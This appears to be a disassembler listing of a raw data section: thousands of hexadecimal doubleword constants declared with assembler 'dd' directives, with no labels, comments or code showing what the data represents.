		dd 0B5780820h, 0E772AA40h, 0F3047176h, 94919BC0h, 0A4EEC6ABh
		dd 0E6EA103h, 73E9295Ch, 94AA649Eh, 9C6EC276h, 0EEB132D2h
		dd 0AFC3290Fh, 67E95310h, 0A96D2B04h, 7F3BC01Dh, 245A6902h
		dd 1CC49A5Ch, 81836572h, 40DB92D3h, 2F33AEE6h, 0B4F86FD4h
		dd 0DAE7E93Ah, 0B7AD491h, 4D74D666h, 0D313C9FDh, 874D1C5Ah
		dd 74585B2Bh, 0B0B2AF5Dh, 64DD139Dh, 0D643F800h, 1656438Ch
		dd 0D0B9E4E9h, 0D33766B2h, 0FA2D4B7Bh, 1C5DD18Fh, 0AFD8165Bh
		dd 20FFA2D5h, 90C681F2h, 71A20A12h, 962DEBF0h, 44E98454h
		dd 0D103D7E7h, 2FD12EA4h, 0E1F54C27h, 9754D1E0h, 0A6A4C365h
		dd 0E845E9C1h, 9EF7B82Fh, 6141E252h, 0D3F629B3h, 9580CFE4h
		dd 257907DCh, 0C5924B3Fh, 82D1E25Dh, 799820FCh,	8082690h
		dd 802DFB42h, 2071EFFFh, 31A83E11h, 2AF62A7Fh, 685103FCh
		dd 73CA38B5h, 35F33CE1h, 0FCDAAD8Ch, 9E542F55h,	20097388h
		dd 76B009B2h, 0E35451ECh, 0C0BA020h, 70FD2DCAh,	19C325A7h
		dd 22575C12h, 0D7525C34h
		dd 0E327BFD3h, 94E39EECh, 5C450371h, 0C046A01h,	4A757E44h
		dd 705FEF16h, 9655C4B7h, 720A7A5Eh, 0F1808E0Eh,	63430BCCh
		dd 0E8CAC341h, 56DF1935h, 0B2386BFFh, 0A4F85FA3h, 5DC72E3h
		dd 0A50B565Ch, 0B7997089h, 535A766Eh, 8B0156CDh, 0FCCF2CA0h
		dd 4B5583EAh, 80EAB8ACh, 0D1D8F758h, 35F2E0h, 50571EE2h
		dd 23D0E95Dh, 0B5C3B9C0h, 0B54ECF27h, 631AE0EDh, 964AD587h
		dd 0D46BCADFh, 0B0211C1h, 0D5062868h, 0F99FEA14h, 0C3E2A76Ch
		dd 64B071FFh, 45500901h, 92A293DDh, 71551C8Fh, 6BAA62B1h
		dd 3D892E71h, 8C347C20h, 590C294Dh, 6C7769A1h, 0C22D72CFh
		dd 0B23A4053h, 0E9F74088h, 6A951F75h, 0E7F455C2h, 76E70114h
		dd 0DC9FF57Dh, 0E7626B06h, 5A05CD8h, 30313D1Bh,	41081237h
		dd 0C0616FFDh, 31DD316Fh, 94FD78EBh, 61751276h,	0ECC79F30h
		dd 55EEA208h, 7EB33E8h,	4FC05B3Dh, 805EDF5h, 60D9180Dh
		dd 0F06A807Ah, 17596668h, 26448500h, 0EEB041FFh, 2F2F5B18h
		dd 3FE21487h, 628E5C7Fh, 6531943h, 5854FEA5h, 5713F6BAh
		dd 12AB7931h, 93A2FA6Bh, 2E5E99h, 931B050h, 0A24322Ch
		dd 1489A084h, 565E25DFh, 9A64FD0h, 9CF47518h, 7F570848h
		dd 0C4FD605Bh, 0BB2582E4h, 955666D5h, 686982DBh, 8228D26Fh
		dd 0B005F07Dh, 8F1541E4h, 0E544257Eh, 0FFC12995h, 43380B8Bh
		dd 352EDD13h, 0A9541336h, 2CAFD78Bh, 90927BB5h,	0E10E597Fh
		dd 5297540Bh, 0B3F73200h, 9D21ABE8h, 98C28554h,	0F591F754h
		dd 9268CC01h, 0B9085BD2h, 0B8B30327h, 808557B1h, 1C180CEh
		dd 6D92F676h, 0B9E92813h, 4F295543h, 27657B24h,	5CFEE081h
		dd 4E6FB170h, 7BC7CB28h, 80194598h, 68652BE1h, 0F8E318BCh
		dd 5C6128D0h, 0E92BA316h, 4B09F7EAh, 89C4CD55h,	60C48AA3h
		dd 42B38FB7h, 55258F61h, 0F80619Ch, 97595AE9h, 0F2553460h
		dd 95D482h, 0CC3045B1h,	0F4480FB0h, 33A781E9h, 0F140032Eh
		dd 41DCEB64h, 0C68B08ACh, 2C831141h, 16E73C83h,	7E4DA7D9h
		dd 0AF93DBFDh, 6949EAE7h, 26D00192h, 3F19DF59h,	5C8DD45h
		dd 0B56C0A1Fh, 0F5407FE9h, 97EEEB01h, 66FEF825h, 0DF124F7h
		dd 0FB85E528h, 28BE3F2h, 518EA7F9h, 45FE17B1h, 0FF54F150h
		dd 40035893h, 0A93AE50Ah, 60FA4E10h, 7CB75365h,	0FCE77CC9h
		dd 6C18636Bh, 97A96325h, 0E9F02E20h, 0B4C14AAh,	0D3209B77h
		dd 5E92D5Eh, 8EEF2D7Ah,	9C8AE96Ch, 2DECA282h, 0D1F74101h
		dd 0C660AE2Eh, 2D1B2EFDh, 127A570Fh, 34E2FABFh,	0BF578212h
		dd 0F4C93AC1h, 0F6F73400h, 0FC2CD01Ch, 0C128D380h, 93CC8858h
		dd 0EC8001AAh, 7B07E984h, 375F710Eh, 0CBDF88A9h, 385F94DEh
		dd 4C2D6825h, 50CB814Fh, 860A1058h, 9376FB53h, 81016010h
		dd 0CA4228F5h, 5DE74358h, 7F66494Ch, 0E929D340h, 3518D729h
		dd 41CB6FE5h, 5B5891B8h, 891B270Ah, 57B4811Bh, 0DFCE166Bh
		dd 3008F5A8h, 0A535961Ch, 5815DEBFh, 489D6C76h,	83BAE6F1h
		dd 79BEC100h, 5023693Dh, 224C00B8h, 0D32566EEh,	0F077E63h
		dd 16086505h, 3E0C1F1h,	0CECF944h, 67844704h, 0B82D0429h
		dd 0E9DA0BC0h, 6081FB2Ah, 0C21038BBh, 83002A0Dh, 21BCF781h
		dd 93195050h, 4D149790h, 5A87D154h, 3036D297h, 0C529D2B8h
		dd 0D73B52E0h, 0DFED0301h, 25486F87h, 1FD91370h, 0AB57E896h
		dd 0B0B140F8h, 0DBA32B1Fh, 53331693h, 28A2BFECh, 0EC685FC1h
		dd 0E68C2E21h, 0A5F4947Dh, 7055D0C1h, 8BB744DCh, 41CC7F19h
		dd 365A9EFAh, 0ED6584E3h, 5189D059h, 6173D268h,	93561549h
		dd 4F4011E1h, 68883367h, 3E83CE28h, 0D651105h, 33A4A47Ch
		dd 0F16EF941h, 0A5A07A06h, 59252768h, 0E91A0D6Eh, 57F1776Dh
		dd 5DC0D6CAh, 0C31275F2h, 0F5EAB818h, 896ABD54h, 7F618D3Dh
		dd 5C0768F3h, 0D6CB821Ch, 0E3A702CDh, 0D4559E7Dh, 171B7813h
		dd 279F76D0h, 3E28D9D2h, 79F9A6AFh, 0B7EBD81h, 0FD404F35h
		dd 5BCAF486h, 530702B0h, 0C7615655h, 0C1FE01DEh, 833F7860h
		dd 69E80A26h, 640CD817h, 905A2441h, 0F7EAF055h,	5D351081h
		dd 0B9074C2Ch, 0EC80E22Eh, 195475FEh, 73D58162h, 0CBCA861h
		dd 3ABB1E96h, 1C09430Ch, 4229665Ch, 0C080D8Dh, 0E9581400h
		dd 0B4125884h, 549568F0h, 6908EB9Bh, 0A429142Bh, 0A852FA5Ah
		dd 8CF6A6FFh, 0EC5F3561h, 90CC5E50h, 0D464FC22h, 2727547Bh
		dd 20105B89h, 0C6F220A3h, 4CEF5C5Bh, 763051B1h,	0F1245B96h
		dd 68205D07h, 7DE83DA4h, 0FE5E354Eh, 0D1932F21h, 0B1ACA243h
		dd 252E485Dh, 363B21FBh, 2C5405FAh, 0AE100ACBh,	1FEA6F6Ah
		dd 0E28DE9C0h, 1D4495FEh, 0C84AD7F2h, 84E46BFCh, 8AF9AF10h
		dd 0DFF6BED2h, 0BD8E352Dh, 52B738ACh, 6EB45003h, 90E18851h
		dd 0E05859CEh, 96DAA5F0h, 82D135Bh, 0CE2CE821h,	434A04ADh
		dd 521C6BECh, 2512E428h, 0E94E407Fh, 9639B0CAh,	0EF689E1Fh
		dd 0DA1218F5h, 0A8469D08h, 0F18B99B6h, 6BAA717Dh, 5445005Ch
		dd 0D24CE6AAh, 4E694E04h, 40AE890Dh, 92C3BDADh,	0A4212A2Ch
		dd 269C4588h, 0CBF60915h, 0CC5A6FE9h, 0CECB52C8h, 6C4E059Fh
		dd 0F5ACC385h, 4C2DFA5Fh, 4AE1D411h, 0D015C904h, 544FA54Bh
		dd 74125A8h, 3D5C06D4h,	0AD5B0824h, 0CAFA4ABAh,	80E2698Ch
		dd 587F25B8h, 5CE9130Ch, 0C045B90Ah, 9685653h, 7FB326Fh
		dd 965F5E9Fh, 0C4CC4AA8h, 5410BEA5h, 1DE31892h,	1259EB51h
		dd 0AE74B3A6h, 418CF2B0h, 0F5BCBB2Bh, 0D30F396Ah, 807F7627h
		dd 15442CBEh, 7B995E58h, 28074708h, 39BCFE26h, 277B5704h
		dd 45575A66h, 6F618AFFh, 87F1859Bh, 0F6AE00CEh,	67BB2266h
		dd 0C60C2E98h, 969C9E85h, 0E78282C0h, 3AF56D99h, 8F0BFF69h
		dd 0DFB95D80h, 2A5FEF5Fh, 9C2304BAh, 0B5BD0064h, 230677Eh
		dd 0CBCE581h, 0E05F3D9Bh, 16F74D2Dh, 0EBA8E9DDh, 0D9B35C30h
		dd 6BF89552h, 285ED442h, 0F555E9B6h, 44D76BD2h,	0F0FEB792h
		dd 0B030481Fh, 0FEE280E5h, 1A482CC0h, 13612045h, 35393668h
		dd 34D80095h, 0E23033B2h, 69D6E93Ch, 2F37E28h, 0E6AA92D4h
		dd 4A756E4Ah, 264C141h,	9746A20h, 4669727Dh, 5284CC05h
		dd 73EBFCE6h, 122FA8B0h, 0ED5C541Fh, 0AACFF807h, 28B3F797h
		dd 3F994CD9h, 0B192A337h, 5941C97Bh, 39EFF06Bh,	75CD0B4Bh
		dd 0BEB70C7Eh, 5E5AF381h, 518A38BAh, 12101EBDh,	2024D9E9h
		dd 8E2142D7h, 0CE812A00h, 62751F88h, 10DE61F7h,	6EF94B9Bh
		dd 2F898C0h, 0C11B26ADh, 0E3583E58h, 7E543E75h,	957FA4h
		dd 0A142BF12h, 0C893DE29h, 2BE9A830h, 0FA74D83Ah, 5497E130h
		dd 5517546Fh, 80EDE9h, 2769BFBDh, 0FBDC17F6h, 90409C40h
		dd 10E9126Ah, 7CFFDB2h,	0A9014345h, 0CA471FB5h,	5624D82Ch
		dd 0FBB5AA87h, 0BD2C41F1h, 0C00A88B7h, 57ADB1EEh, 2A7204A2h
		dd 303520Bh, 35E06853h,	0EF050C1Dh, 0FEFCA1E9h,	1286F7ABh
		dd 66BC7572h, 29DA01A1h, 0B71A10E9h, 3E8CFB4Ah,	0AB1E6BF3h
		dd 2E7E4C55h, 60C45EF2h, 26A12FACh, 0D859FCB8h,	95D03B32h
		dd 25BAEB08h, 0D2E24159h, 0EB2EB135h, 34E9F668h, 8146DD16h
		dd 0F1FB44E1h, 0F73FEC75h, 0CC2F4082h, 0D557278Dh, 0B0C4540Fh
		dd 0E5DCBC15h, 0BE8164AAh, 0B9BF6684h, 9262B43Ah, 845A7766h
		dd 96CD7A34h, 0C99461BBh, 3FBD00AEh, 48290A41h,	78CE5C1h
		dd 40DDFF5h, 0C281AA4Ah, 0EE0462D8h, 0EAE587C7h, 5FFDD646h
		dd 2CB5092Eh, 302B659Ch, 7D638800h, 0FABFCF80h,	95D998DDh
		dd 5D0A3AF5h, 142D58DCh
		dd 8D574B34h, 44E43F6Bh, 0A25F5AFBh, 615BDA28h,	0E539CD2Bh
		dd 341D7C85h, 91A7AFA9h, 4B24F28Bh, 0AF0BB58h, 0D4351651h
		dd 674C046Eh, 0AE680287h, 3B47FD1Ch, 7350988h, 7042FBBFh
		dd 0A1F78150h, 39F91513h, 0A82E70A5h, 30E938A8h, 0E7BB30C2h
		dd 14BE2A37h, 20349897h, 6EA018A2h, 742C139Bh, 203C9F11h
		dd 50E0952Ch, 0EC3E8089h, 95BE748Ah, 0AF925727h, 0E5DE1980h
		dd 9790920Ah, 9C68A9C2h, 0BB62A001h, 0B0AC4488h, 7402F04h
		dd 0DA63C8D4h, 5B4B48B4h, 0CCF2E02h, 0D188F329h, 2632408h
		dd 3BCE52C5h, 0EB509BD8h, 0C2975E08h, 0AE017DFCh, 9053EE40h
		dd 0EA4E2756h, 26045585h, 46AE3568h, 7759F4EEh,	0EFFCF60Bh
		dd 0D8722BEEh, 8653B540h, 6B157D25h, 0BCA25C16h, 767E65Eh
		dd 0C43149E9h, 0A082FE2Bh, 5E4DFA08h, 98BEE433h, 0A28F2AF1h
		dd 15D4F504h, 6A8890E9h, 164BCC76h, 9F8F1C6h, 3FFE99A2h
		dd 970004C2h, 56FA3C66h, 5013D3F2h, 33065352h, 0A2E14FF2h
		dd 0E3A7DF52h, 43250827h, 0EA5005CAh, 82251816h, 5A05F891h
		dd 0B1B082h, 0C0685559h, 3A3654Bh, 8095E226h, 3A5F358h
		dd 14F63862h, 5013F9BCh, 28ECA689h, 0C3BFA8E0h,	7B05FC0Dh
		dd 0FA072602h, 0AEF826Fh, 50C03BB1h, 0D582F13Ah, 0EB4DEA58h
		dd 2BD3810h, 0F76C6527h, 2EFA82D5h, 80310442h, 88F381E5h
		dd 49136777h, 2DEBDBF7h, 4D163D53h, 0AF911985h,	0BE2FEE97h
		dd 9704815h, 0F3168658h, 0BDFB22D5h, 9523259h, 97FBF0A2h
		dd 0BD833983h, 0C05B6613h, 0CD57881Eh, 6253264Dh, 0E720BD3Bh
		dd 9DE9D731h, 0B556B46Ch, 0EF00EE5Ah, 96F5B34h,	5CBE80CAh
		dd 0EFB37526h, 0AB3B5A82h, 0E9F6A17Eh, 0D27A147Fh, 5F76EFBDh
		dd 5F525609h, 3139BFFAh, 9D885ED0h, 8F681257h, 0F29FA83Bh
		dd 0B6B05D5Fh, 68B710FFh, 8079ECB3h, 0AB91D801h, 9057E961h
		dd 3F677FEh, 316D4B63h,	897EC589h, 0E675CAEFh, 55BD2101h
		dd 9B58548Ah, 1D94035Bh, 0BF6C1E31h, 1F5C7498h,	4724619Dh
		dd 5507D67Dh, 6F542C14h, 0E9CF853Dh, 4F9BFCE0h,	0EE84C8BDh
		dd 0F5CEE4A3h, 7F766119h, 0A832292Ch, 4B56F24Ah, 0EF0D62FEh
		dd 446D2E5Dh, 0C6A23D03h, 108CC04Ah, 9B828BDh, 5189D14Ah
		dd 807EFD20h, 38965D66h, 0E0F2E2EDh, 0D7CE0FCBh, 0E8CBB536h
		dd 0FA7D8952h, 1AC4D5F6h, 8CFFC268h, 5E50553Ch,	0E90BF7ABh
		dd 6BFEEF12h, 8ADE00C9h, 814A2104h, 101D18CAh, 0E2813784h
		dd 71A83F4Ch, 94E1E9F4h, 16DF277Ch, 8EE916E8h, 0DD29FE47h
		dd 4F52CB3Ah, 9E53E444h, 0BEC62805h, 0FAE7EBC1h, 7B68A72Eh
		dd 6631D54Bh, 9089B551h, 1879D690h, 8CB163Ch, 8A130193h
		dd 0DC9E051h, 4A3ABFA5h, 830161h, 264B44BBh, 1240ADCh
		dd 41093D22h, 38823D53h, 0F87AC1BBh, 0ED83A075h, 5399BD02h
		dd 0E9A38566h, 460126DDh, 0FF37708h, 9FE042ECh,	7520B166h
		dd 3BB50EE2h, 0EE0A9EB6h, 0BD045A97h, 57A3AAC2h, 0B7AC547Ah
		dd 83FC9521h, 0C27A3659h, 4C555B18h, 0BC5E95h, 5C49BD95h
		dd 907E6Dh, 0E90D4D62h,	8BE8EA26h, 612BDD61h, 66DF8D10h
		dd 135469B5h, 8116C268h, 59CFAEEDh, 0B0C9E912h,	0F9EC54CEh
		dd 0A9F5864Fh, 0B52A4031h, 2AEBE181h, 6578018Bh, 0BEEE8D5Fh
		dd 141DACA1h, 3E27E13Fh, 2C274E9Ah, 0B85DE562h,	9F6B7C18h
		dd 0C90356E4h, 2FA13ABBh, 0E9121649h, 5967A0E5h, 5B0C6813h
		dd 7A886688h, 97FD76C6h, 0F07CE3C6h, 5A4E5E98h,	73BD9E53h
		dd 0C99A6218h, 450518F6h, 0F029A3CEh, 61C2CDAEh, 246054D4h
		dd 0A5BEEC0Bh, 5F8B30ADh, 0CB7628C8h, 0F0BCBD80h, 20049ED9h
		dd 0FB4009EEh, 21FDB226h, 515DEEFDh, 16D6E73Fh,	0BEBC4581h
		dd 0CF8FEEE5h, 0E83DE915h, 0F989B613h, 0CD054EACh, 41CD6755h
		dd 4EF460E0h, 0F23966FEh, 0AF71464Eh, 0FA06A44Ah, 776EF709h
		dd 0C066424Ch, 1761F823h, 0F1295140h, 0C080648h, 6401782h
		dd 0B18B3D2Ah, 0B36ACA56h, 0DB815AF5h, 316B7988h, 8C9223h
		dd 9566F130h, 6698D258h, 0E0DA8520h, 652690CBh,	59B8591Dh
		dd 0F4C542CAh, 0E6B50D2Fh, 1A579F39h, 3B4CFFF9h, 29499B49h
		dd 2F0CDF55h, 0BF0CA5EAh, 0C9D22C3Eh, 3F2786B9h, 7C55F1E2h
		dd 0BFFD29Ch, 0C085D6CFh, 3E5F6768h, 13B0714Ah,	0D63912FCh
		dd 2B52016Fh, 2E771B6Bh, 241EF618h, 77915C18h, 9C4EE2Eh
		dd 10776DE9h, 177C5A19h, 0EF316BCEh, 0C1BE2965h, 101CF383h
		dd 30724BCBh, 29366DB5h, 0CD02B2B9h, 0C6E9D331h, 0F5D9927Ah
		dd 44B82FA0h, 1350C454h, 0FE9772BDh, 906052A8h,	699038C0h
		dd 62366AC0h, 0BD04E1C1h, 23E3D920h, 29598D50h,	720D6D2h
		dd 9071F31Ah, 0E9C25A81h, 842F776Fh, 0A4F6E79Eh, 0BA66C4A9h
		dd 0C515A127h, 0F10219E4h, 0C87A2FF1h, 5A9DB916h, 0C457A07Ah
		dd 30A40950h, 91A220E9h, 12C2FD89h, 0A4C42BF7h,	6A85786Fh
		dd 5DE3609h, 29F71148h,	8C2C513Eh, 2BE8B26h, 0A56F0154h
		dd 39BBE529h, 0A6F6F800h, 9FBE6BDh, 5FA5E7C0h, 0F025F456h
		dd 0B125A0D6h, 342D000Fh, 667D6935h, 0E19D211Ch, 2E0F6EAh
		dd 0E91B1347h, 0BF19803Ch, 7AF362CDh, 0E8780BF5h, 4E445E10h
		dd 1C007913h, 5CA6567Fh, 9ED56829h, 535A1E08h, 39CEEEE8h
		dd 0B5A1EE62h, 432DBB00h, 8D755007h, 0F5EEF558h, 0F7B19BEDh
		dd 0F27FD412h, 0B0E9A0BFh, 7750BAFDh, 0C01A74F3h, 140E2D0Eh
		dd 0A3EA6866h, 54C35902h, 1305D829h, 81112ADh, 0F33FAA92h
		dd 6B440713h, 0DEC65006h, 93F304ADh, 0A827F18Dh, 0CDFE7921h
		dd 6E3D1B1Dh, 0A580C852h, 0B9575659h, 0BBF669BBh, 0FC452702h
		dd 0BAC07F06h, 0CE5F5CE9h, 45FDD4Fh, 38EB7C19h,	0C60FBF46h
		dd 1A4B2165h, 0AF65772Ch, 3504FF20h, 967A164h, 6C1205EEh
		dd 0B2286778h, 0A2DDF807h, 0D5EE8B5Dh, 0AECA2C51h, 685A1910h
		dd 4324E99Fh, 56128BC4h, 205A6936h, 5A5FD0E4h, 5E591D01h
		dd 0F2CF20B6h, 0B27E5010h, 95759588h, 0A868840Ch, 0C4C1B84Fh
		dd 11C8017h, 0B4505BDEh, 47BE2FD2h, 3E20E490h, 0C4C175EEh
		dd 70E630DEh, 32B112B7h, 4F006FA4h, 8155602Fh, 6F8F02E2h
		dd 1EE915ADh, 8FC4F64Ah, 0A0E48320h, 252FAA3Ch,	0E46A50E5h
		dd 6F1C080Dh, 0F27EDBF5h, 0CE0F7B0Bh, 0BEF64FABh, 0ABF5C4CBh
		dd 48EA8A56h, 6E309428h, 11F561C6h, 48B47F0Ah, 893AE21h
		dd 7F25D0CCh, 68053E47h, 8F377D7Ah, 0A1113F86h,	50463B8h
		dd 0E35AFBBDh, 685501A6h, 121D594Fh, 0DD3E122h,	3A1F4B87h
		dd 0E909ADF2h, 87944CBh, 4042FC49h, 3266857h, 7D174724h
		dd 0F22EF0Dh, 123C03Eh,	0DF975EF1h, 7E5436BAh, 7D1C778Ah
		dd 0F415B709h, 845745E2h, 13F5B814h, 0DF1C8F66h, 6810C398h
		dd 0CC1B4F06h, 28FF2857h, 0FA52926Ah, 103AE2AAh, 116300Ch
		dd 0EF3112CFh, 3F3653A1h, 0A166AD5Ah, 1769A5D9h, 12AAA10h
		dd 4BDD6853h, 78EC1145h, 2A5B9D04h, 0EA4B4410h,	9F1082C6h
		dd 0E72F64CCh, 0F90BC8C0h, 0C159E876h, 2541F50Ch, 0C1A52B33h
		dd 800C0806h, 4B685814h, 81A4EDD8h, 16F873AEh, 27B4A920h
		dd 5374FC12h, 0B05F9D1Eh, 322F40A4h, 1C04DF42h,	3C9D14FDh
		dd 0BCAF1AE3h, 0FFE27D10h, 558159E2h, 706E74BAh, 749C5B05h
		dd 0EA2DF526h, 168B5F92h, 5B6084D5h, 0FA4218E8h, 9EFCC2D6h
		dd 0CF79F509h, 0B9986125h, 0C0A9042Fh, 6899C1E3h, 6F68A4F1h
		dd 48D5F80Bh, 0F9F33286h, 48D4CB2Fh, 7BDD1046h,	8048664Ch
		dd 11DC905h, 96684FDh
		dd 52F75F08h, 25FF7B03h, 0A2A4D3CFh, 68A8B091h,	72071F5Ch
		dd 80445A5Ah, 405C7E6h,	8C06AEABh, 1E12E317h, 0C34D37BBh
		dd 0DF89570Ah, 7BCDF19Ch, 10427CA5h, 2AB5028Dh,	0C805A3A4h
		dd 340DDCDh, 0AC08945Eh, 5DB0004Dh, 0A4E9858Eh,	0F06EC69Fh
		dd 0FECB4BEBh, 0E5807820h, 4EA5F848h, 8476EA07h, 0BCB9006h
		dd 105D392Bh, 18AD4740h, 57D6D762h, 842FD4F7h, 82B753D9h
		dd 6AEAD6B5h, 0F512F4D6h, 623857EBh, 536EE826h,	604A2C42h
		dd 0FF543BECh, 6BB2779Dh, 0E300F9FDh, 95769651h, 0FB39DA2Eh
		dd 30005A65h, 0F24194C1h, 10294A60h, 0C60082Bh,	491B579Bh
		dd 65E728C0h, 945A0DDBh, 1269640h, 4F2124EFh, 2B01E11Ch
		dd 12AE2057h, 0E9F1BAE7h, 8991AD6Ah, 0C1FBC280h, 0B458DDA0h
		dd 0E9EE3A09h, 0D0496431h, 7DAE2F5Ah, 48A526BAh, 4BAA20B6h
		dd 0D242A7ACh, 0C4B15A05h, 55647C2h, 4876A654h,	9D68C2D7h
		dd 801E712Bh, 0E3DE5BEh, 0E169BB7Eh, 76887D0Bh,	0C257258Eh
		dd 0DF080ABh, 0A0327827h, 0FE389E8Ah, 0EF5A9DECh, 0AE1E335Bh
		dd 6717D812h, 0D2C687AAh, 995F212Eh, 133FE6FDh,	1A4BAC4h
		dd 9F43014Fh, 7BF0D55h,	1E586048h, 65EAC65Bh, 21CAAA3Dh
		dd 1048E692h, 5D12FC41h, 38CBFA8Bh, 64529913h, 0DE52FF9Bh
		dd 0F1EFD024h, 18C1406Fh, 0E0B01B12h, 8754C7Eh,	2F0FFE97h
		dd 1420D353h, 0B7DE98h,	374DBA96h, 4A2C2486h, 30E017A6h
		dd 68F9F745h, 0B5328932h, 0F47DF89Fh, 0B27E13CCh, 82790E15h
		dd 1928FAF3h, 5309B7CAh, 0FC258BF4h, 0FAE8B4E6h, 0EEF41EA9h
		dd 11023A80h, 0BB2F184Ah, 0EB310B06h, 0AC2E92Fh, 4B79216h
		dd 8C167F3Fh, 97C7E4E4h, 87848FFDh, 0DDBBC56Fh,	0EA4BD79Ch
		dd 0BDAA17EEh, 7EC28BF6h, 35E98B12h, 8853F521h,	5BFDC8F7h
		dd 407330BFh, 5ADF82A3h, 7851646Ah, 7C39E76Ch, 5DFB504Fh
		dd 0BEF04DCAh, 95D12E9Ch, 441131B0h, 0EED40494h, 0E2F81FAh
		dd 0C35380BDh, 3219726Eh, 5FF37D29h, 2CEEC150h,	48AE2690h
		dd 0D03C0294h, 0E82AE9E0h, 268AB9B2h, 244F6963h, 0BD8A3E27h
		dd 6E55FECCh, 4815CAC1h, 0D8F7E628h, 0BBE20995h, 94034F67h
		dd 8D02650Dh, 0ED1A42F1h, 0EC4AC06Ch, 40B6B67Fh, 3B5E8668h
		dd 805B7527h, 519E2804h, 45F61C81h, 8043DD26h, 2CAFDFEEh
		dd 0CEC5319Dh, 0A5AACF3Fh, 0E2A3E032h, 65511896h, 0E15F3E28h
		dd 606851Ah, 0AC05C780h, 61BB9EA7h, 7E10019Eh, 22138925h
		dd 0B82A07A1h, 4AC8A6C9h, 0AF65AFDBh, 0CB326E58h, 503E736Fh
		dd 7005C53Fh, 0B8C05B80h, 0B5BC5B04h, 3CA3FEF4h, 0EE0A3017h
		dd 0E92EBC79h, 79F13419h, 0B030DAF4h, 6326C5Dh,	0CC24E90Dh
		dd 5BADB6BDh, 92752DBDh, 71556149h, 0FAEBC397h,	2CC7DE30h
		dd 0DA276097h, 7DCF7958h, 241818D5h, 361D5A7Fh,	0B6FA62B4h
		dd 77680A76h, 0A488C94Ah, 89124CBh, 0F70B1890h,	792984DAh
		dd 21536605h, 0D849B01Fh, 3A24E93Bh, 0E15B9788h, 252F2F7Eh
		dd 1A2201F7h, 0F8349E31h, 1CCD76ADh, 0E740664Ah, 7E8944BFh
		dd 9755EB8h, 0C07F0530h, 13A92D2Fh, 0B230C10Eh,	0C9582485h
		dd 0C70B000h, 0B8D8F6ECh, 0AD2561B1h, 0E4E8085Ah, 0DEB5F2B2h
		dd 0A95F520Dh, 0A716DD1Fh, 4BB07D9Dh, 0E54D068h, 7B5E6294h
		dd 0FFE4AAA8h, 0BF50CE38h, 53021444h, 25568EBBh, 8AE4826Ch
		dd 0CC28C20h, 0E305132Ah, 33B7AD6Dh, 0F179CC21h, 49C042EDh
		dd 5874BD14h, 0FEB60820h, 6D9BBF59h, 89C91F66h,	0D21B690Ah
		dd 0E9533460h, 581B699h, 0E2735068h, 0E01C6277h, 37B6F9C0h
		dd 702DAFA0h, 44A6AF30h, 10C208Ch, 25F1BD02h, 7F0908DBh
		dd 3AEB4810h, 362446B7h, 8C110A5Fh, 0E8C15C09h,	92520410h
		dd 92D724FCh, 1E5CCFC8h, 80EAD109h, 9B46DD71h, 0BD2DFA60h
		dd 0B450DA80h, 0D40EF614h, 0AFA0F480h, 0F2D8FEDCh, 1651B81Fh
		dd 0A8462339h, 7DE9829Ch, 94137F12h, 0E87585C2h, 1444F225h
		dd 0C9371662h, 3919BF02h, 0D185015Ah, 6D081EC3h, 0B7626CF9h
		dd 0D0500486h, 84526611h, 1A4B4C7Dh, 0E2800303h, 0AEA9B0Bh
		dd 888EC2B0h, 0C33B3EB1h, 0F69A86B9h, 0A68408D0h, 20C4BF5Fh
		dd 0E5614F99h, 0AFC4846Ah, 0A096CBA7h, 3B2DDDD6h, 81004517h
		dd 852F2AB8h, 0C2052B43h, 9807D5F7h, 872191AAh,	163B5EE9h
		dd 0D76DA35Fh, 37E9C28Ch, 542F08C6h, 79CE2001h,	634D0032h
		dd 5685652h, 0E4CDF3Eh,	0B917103Ah, 9D457B7Bh, 922441C6h
		dd 5665492Ah, 3AB32FC0h, 55615C7Bh, 6612F95Ch, 33CAFF89h
		dd 5BC2AD5Fh, 622038E8h, 681647FCh, 14F317FCh, 0B1BF0D14h
		dd 0CE18E25Fh, 0B5139314h, 7A589F05h, 590599CAh, 0EF5A5452h
		dd 0BDA578B2h, 5F751551h, 0D8542440h, 8F0EC45h,	229912BDh
		dd 0FD1A0473h, 0DF560E1Dh, 2CADFA25h, 1AB93EF7h, 0B51331B0h
		dd 3A84D4D1h, 80FBC124h, 0DC621BF6h, 2AF8154Eh,	0FA5BE782h
		dd 8A033074h, 0E029D703h, 2F2252F5h, 9D5954B7h,	0EC60F803h
		dd 510C067Ah, 7A17AC95h, 862F1B41h, 8B0C3AA4h, 0C3D8564h
		dd 0BB731345h, 0DB61011Ch, 3008A0DAh, 0E983F01Dh, 97FF162Ch
		dd 12FF5AA4h, 0F9CBAB20h, 0E955C263h, 68CAD0FDh, 9B9709A2h
		dd 91ABBD88h, 6BC3A30Ah, 5011CE92h, 0CEC5B792h,	7459CE0Bh
		dd 5720BFD9h, 4B35BE07h, 0A9A266CCh, 0F8B7E843h, 387A280Eh
		dd 588759BBh, 4B263276h, 0D8D7C3B1h, 3361A1E4h,	6D75E813h
		dd 794E7D25h, 3D05E965h, 0EA70BA1Dh, 0B5647968h, 2279573h
		dd 0F32158E0h, 947DAF8Dh, 0D1FC97BAh, 95955956h, 44755D25h
		dd 40E69809h, 0E85E88EFh, 0C04C2DF8h, 0F893C33Eh, 0DBFDAC9Ah
		dd 0FDEAE273h, 72D78AA7h, 72763E47h, 0CE16DB48h, 0E348A5E2h
		dd 975A9E44h, 0C9F7E2E4h, 6BA94970h, 0C03BAFE5h, 0D2547A95h
		dd 0C704557Dh, 4CFE8AAh, 6809E4F8h, 782216DEh, 4E924BC1h
		dd 64F05955h, 2F2DFB5Ah, 8460EC7Ah, 0B0006736h,	58C130EFh
		dd 4E295D9Fh, 4DE30C41h, 49B92AD9h, 0FE38F398h,	80EEBAB5h
		dd 0D123B09Ch, 9DE95C27h, 0E5772269h, 4A5CCB2Ch, 426AF16Bh
		dd 427784E9h, 29B6C8Bh,	2B826855h, 0F45E4252h, 34060E02h
		dd 0A86CC054h, 77022F14h, 5B24457Ch, 6D400A3Eh,	6C2594FEh
		dd 8211E061h, 53D98002h, 0F3285901h, 2A7CE12Fh,	0E85B16CAh
		dd 8ABE973Bh, 68530465h, 0DDE918ACh, 830EEF80h,	8E49E94Bh
		dd 0AA004E34h, 0CAF8D23Ah, 0A568B589h, 0DCE60EC3h, 5FFA2907h
		dd 5E20E281h, 1567ABDh,	0C443BCBEh, 21F22128h, 2A322F73h
		dd 0DE07E25Ch, 0E8051628h, 8E2DE9C1h, 2512788Eh, 5180EA61h
		dd 4EBA2D33h, 4CF7ED0Ch, 0F79166Eh, 1D106CB3h, 79834AD3h
